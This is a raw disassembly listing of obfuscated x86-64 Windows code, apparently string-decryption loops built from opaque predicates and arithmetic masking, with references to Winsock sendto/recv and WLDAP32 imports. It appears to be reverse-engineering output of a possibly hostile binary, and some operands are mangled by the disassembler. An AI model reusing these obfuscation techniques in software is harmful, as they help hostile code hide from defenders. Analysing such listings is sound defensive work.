inc rbx
jmp 0x140092c32
movabs rcx, 0x4270fbc73cc82341
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x39
movzx eax, byte [rbp + rbx + 0x820]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092c32
movabs rcx, 0xdf7aa0bf30505089
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092c32
movabs rcx, 0x86bd09fd2d325bdb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 3
jmp 0x140093904
movabs rcx, 0x2dff733b2a14672d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3b
dec rbx
inc rbx
jmp 0x140092c32
movabs rcx, 0x7c8445b723d87dd1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x49
jmp 0x140093889
movabs rcx, 0xcb0918331d9c9475
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x33
movabs rcx, 0x5a23d407a086b901
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 7
add cl, r11b
mov byte [rbp + rbx + 0x820], cl
inc r9
dec rbx
inc rbx
jmp 0x140092c32
movabs rcx, 0x198deaaf1760ab19
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x51
dec rbx
inc rbx
jmp 0x140092c32
movabs rcx, 0xc0d053ed1442b66b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x13
movabs rdx, 0xb2e16ac9a3a4adaf
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x37
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x820], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092c32
movabs rcx, 0xf5526690e06cd0f
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x69
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092c32
movabs rcx, 0x51c622304acef05
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x23
movzx eax, byte [rbp + rbx + 0x820]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092c32
movabs rcx, 0x8d3fa965cf480f33
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
jmp 0x140092c30
movabs rcx, 0x348212a3cc2a1a85
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
jmp 0x140092c20
lea rcx, [rbp + 0x1503a94]
jmp 0x140093a14
lea rcx, [rbp + 0x9f34eb]
jmp 0x140093a14
lea rcx, [rbp + 0x820]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140225ef0]
lea rcx, [rbp + 0x1c8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x68]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
mov rcx, rdi
call fcn.140002640
lea rcx, [rbx + 0x30]
call fcn.14006b1d0
mov rdi, rax
mov byte [rbp + 0x848], 0x5a
mov byte [rbp + 0x849], 0xba
mov byte [rbp + 0x84a], Ordinal_143
mov byte [rbp + 0x84b], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x84c], 0xa1
mov byte [rbp + 0x84d], 0xab
mov byte [rbp + 0x84e], 0xa1
mov byte [rbp + 0x84f], 0xa0
mov byte [rbp + 0x850], 0x7e
mov byte [rbp + 0x851], 0x44
mov byte [rbp + 0x852], 0xa0
mov byte [rbp + 0x853], 0xa4
mov byte [rbp + 0x854], 0xa7
mov byte [rbp + 0x855], 0xa0
mov byte [rbp + 0x856], reloc.WS2_32.dll_sendto
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x857], xmm0
mov dword [rbp + 0x867], eax
movabs rsi, 0x92a7e07b80a04a07
movabs r13, 0xe26984982ab24cab
movabs r14, 0xef4afe9f2ecfa0d9
movabs r15, 0x2a77f56ed96b0783
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400948a4
movzx r11d, byte [rbp + rbx + 0x848]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140094898
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140093b83
lea rcx, [rbx + r13]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x53
jmp 0x140093bc0
je 0x140094810
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400947af
lea rax, [r9 + 2]
cmp r8, rax
je 0x140094785
lea rax, [r9 + 5]
cmp r8, rax
je 0x140094758
lea rax, [r9 + 9]
cmp r8, rax
je 0x140094704
nop dword [rax]
cmp r9, rbx
ja 0x14009488c
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x140093bf8
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x31
add r10b, dl
jmp 0x140093c20
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400946e0
inc rax
cmp r8, rax
je 0x1400946b6
lea rax, [r9 + 3]
cmp r8, rax
je 0x140094682
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140094220
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400941f8
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400941c6
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009419b
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140094177
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009414e
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140094119
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400940f4
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400940cb
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140094096
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140094868
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140094844
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140093dee
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140093dcf
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140093db4
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14009402e
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140093fa2
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140093c30
lea r8, [r9 + 9]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140093f68
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140093f40
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140093f1c
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140093ee3
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140093ebe
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140093e9a
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140093e6b
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140093e3e
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140093e15
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140093c30
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x7a]
jmp 0x140093c30
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x11
jmp 0x140093c20
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x6b
add r10b, dl
jmp 0x140093bc0
movabs rdx, 0x65a4ec3e84066e2d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x3b
add r10b, dl
jmp 0x140093b45
movabs rdx, 0x953f03dc05025038
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140094723
movabs rcx, 0xd06bfaabaf9db6e2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2e
inc r9
dec rbx
inc rbx
jmp 0x140093b32
movabs rdx, 0xb98f17b5a391d8c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140093b32
movabs rcx, 0x46c5e84b04d48436
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
jmp 0x1400947ce
movabs rcx, 0x81f2df1aaf6feae0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
jmp 0x1400947f8
movabs rdx, 0xbd1fd5ea5a0b518a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140093b32
movabs rcx, 0xf84cccba04a6b834
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x140094605
movabs rdx, 0x3379c389af421ede
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x12
add r10b, dl
jmp 0x140094638
movabs rdx, 0x6ea6ba5959dd8588
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x848]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b32
movabs rcx, 0x78f110ffd998d385
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
cmp r8, 0x80
jae 0x1400945a9
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140094475
movabs rcx, 0x85cc78bdad1c8ec6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
cmp r9, 0x5a
jb 0x140094599
movabs rdx, 0x360ad4a1030a8c22
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x140094723
movabs rdx, 0xb41e07cf84343a2f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x49
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x200
je 0x1400945d9
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x140094359
movabs rdx, 0xf32498422c7c44bf
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x39
add r10b, dl
jmp 0x140093fc1
movabs rcx, 0x6fef42e503c1bc2a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
movzx eax, byte [rbp + rbx + 0x848]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b32
movabs rdx, 0xab1c39b4ae5d22d4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140094638
movabs rdx, 0xe649308458f8897e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x72
jmp 0x140094602
movabs rcx, 0x217627540393f028
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x18
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140093b32
movabs rdx, 0x5ca31e23ae2f56d2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400947f8
movabs rcx, 0x97d014f358cabd7c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x1400947ce
movabs rcx, 0xd2fd0bc303662426
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xa
dec rbx
inc rbx
jmp 0x140093b32
movabs rdx, 0xe2a0292ae018ad0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140093b32
movabs rdx, 0x4956f962589cf17a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x56
add r10b, dl
jmp 0x140094723
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140094248
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x53
jmp 0x140094051
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009428a
movabs rcx, 0x254fc0f70140940e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
movzx eax, byte [rbp + rbx + 0x848]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400942bb
movabs rcx, 0xaef5d357ac09c6ba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
jmp 0x140094605
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400942f1
movabs rdx, 0x389be5b856d2f966
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400947f8
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140094328
movabs rcx, 0xc241f819019c2c12
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
dec rbx
inc rbx
jmp 0x140093b32
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140094051
movabs rcx, 0x4be80a79ac655ebe
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
jmp 0x140094723
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009438e
movabs rdx, 0xb7f7a17281e0de15
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x6d
add r10b, dl
jmp 0x140094723
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400943cf
movabs rcx, 0x9016cf642cd7dcc3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x55
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140093b32
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140094401
movabs rdx, 0x54e9d894823c7619
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x51
jmp 0x140094602
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140094432
movabs rcx, 0x19bce1c4d7a10f6f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 9
jmp 0x140094638
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140093fc1
movabs rcx, 0xde8feaf52d05a8c5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x63
movzx eax, byte [rbp + rbx + 0x848]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b32
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400944bc
movabs rdx, 0x4a9f81ee0281281c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x848]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b32
inc rax
cmp r8, rax
jne 0x1400944ec
movabs rcx, 0xf728b1e57e5c172
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x140094638
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140094522
movabs rdx, 0x22beafdfad7826ca
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400947ce
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009455e
movabs rdx, 0xe791b91002dcc020
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140093b32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140093ffa
movabs rcx, 0xac64c24058415976
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3a
inc r9
dec rbx
inc rbx
jmp 0x140093b32
mov byte [rbp + rbx + 0x848], r10b
inc rbx
jmp 0x140093b32
movabs rdx, 0xfaddddd1586f2578
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0x848]
sub r10b, al
sub r10b, 0x48
add r10b, dl
add r10b, r11b
jmp 0x1400947ce
movabs rdx, 0xbfb0e701add3bece
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x848]
add r10b, r11b
add r10b, dl
movabs rdx, 0xa21a6b99d8860b79
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x4f
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x848], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x8483f03203385824
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x848], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x848]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b32
movabs rcx, 0x2f9a179d80fbe20b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140093b32
movabs rcx, 0xe120fc0c80ce1609
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3f
dec rbx
inc rbx
jmp 0x140093b32
movabs rcx, 0x577ae9abd604e35d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
jmp 0x140094723
movabs rcx, 0xcdd4d74b2b3bb0b1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x29
movabs rcx, 0x187459392dbcd8cd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x65
add r11b, cl
mov byte [rbp + rbx + 0x848], r11b
inc r9
dec rbx
inc rbx
jmp 0x140093b32
movabs rcx, 0x901ce1ad5d7175b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7d
inc r9
dec rbx
inc rbx
jmp 0x140093b32
movabs rcx, 0x442ec4ea80727e05
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x23
dec rbx
inc rbx
jmp 0x140093b32
movabs rcx, 0x7f5bbbba2b0de4af
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x37
movabs rcx, 0xdd47626983217223
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0xb
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0x848], r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140093b32
movabs rcx, 0xa73c8dc88016e601
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 7
movzx eax, byte [rbp + rbx + 0x848]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b32
movabs rcx, 0xa0d1e30e2ea1d4d7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1f
jmp 0x140093b30
movabs rcx, 0xdbfed9ddd93d3b81
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x79
jmp 0x140093b20
lea rcx, [rbp + 0x14b8b2c]
jmp 0x1400948ab
lea rcx, [rbp + 0x13dd7d7]
jmp 0x1400948ab
lea rcx, [rbp + 0x848]
mov rdx, rdi
call fcn.140035c60
mov byte [rbp + 0x870], Ordinal_143
mov byte [rbp + 0x871], 0xbe
mov byte [rbp + 0x872], 0xac
mov byte [rbp + 0x873], 0xaf
mov byte [rbp + 0x874], 0xb9
mov byte [rbp + 0x875], Ordinal_143
mov byte [rbp + 0x876], 0x85
mov byte [rbp + 0x877], __WSAFDIsSet
mov byte [rbp + 0x878], reloc.WLDAP32.dll_Ordinal_30
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x879], xmm0
mov qword [rbp + 0x889], rax
mov word [rbp + 0x891], ax
movabs rdi, 0x627a96161d1ebbf7
movabs rsi, 0xd4faa479fdb30ce9
movabs r15, 0xbb8beec419c482db
movabs r14, 0x5de2c6f1ca2a0733
movabs r13, 0xe6cae96996a1017d
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140095755
movzx r11d, byte [rbp + rbx + 0x870]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140095749
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400949b3
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 3
jmp 0x1400949e0
je 0x1400956bf
inc rax
cmp r8, rax
je 0x140095624
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400955c2
lea rax, [r9 + 3]
cmp r8, rax
je 0x140095597
nop
cmp r9, rbx
ja 0x14009573d
lea rax, [r9 + 2]
cmp r8, rax
jae 0x140094a11
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3f
jmp 0x140094a51
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14009553f
inc rax
cmp r8, rax
je 0x140095514
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400954df
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400954b7
lea rax, [r9 + 8]
cmp r8, rax
je 0x140095481
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400950db
nop
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400950b2
lea rax, [r9 + 5]
cmp r8, rax
je 0x140095080
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140095051
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009502b
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140095002
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140094fc9
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140094fa0
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140094f77
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140094f3d
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140094a60
mov r8, rax
lea r9, [rax + 0x7a]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140095718
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400956f3
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140094c57
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140094c38
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140094c19
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140094eda
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140094e7b
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140094e28
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140094df8
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140094a60
lea r8, [r9 + 8]
lea r9, [r8 + 8]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140094dc2
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140094d9a
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140094d72
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140094d3d
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140094d18
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140094cf3
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140094cc8
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140094c9a
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140094c75
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140094a60
lea r8, [r9 + 0x200]
lea r9, [r8 + 1]
jmp 0x140094a60
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5f
add r10b, dl
jmp 0x140094a51
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x65
add r10b, dl
jmp 0x1400949e0
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x6b
add r10b, dl
jmp 0x140094975
movabs rdx, 0x13d4b0b0e8f5dfb8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 8
jmp 0x14009555f
movabs rcx, 0x9cbcd328b56cda02
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xe
inc r9
dec rbx
inc rbx
jmp 0x140094962
movabs rcx, 0x25a4f5a081e3d44c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x14
dec rbx
inc rbx
jmp 0x140094962
movabs rdx, 0xae8d18184e5ace96
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1a
jmp 0x1400955e2
movabs rcx, 0x37753a901ad1c8e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
jmp 0x14009560c
movabs rcx, 0xc05d5d07e748c32a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x26
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094962
movabs rdx, 0x49457f7fb3bfbd74
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2c
add r10b, dl
jmp 0x140095645
movabs rdx, 0xd22da1f78036b7be
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x32
add r10b, dl
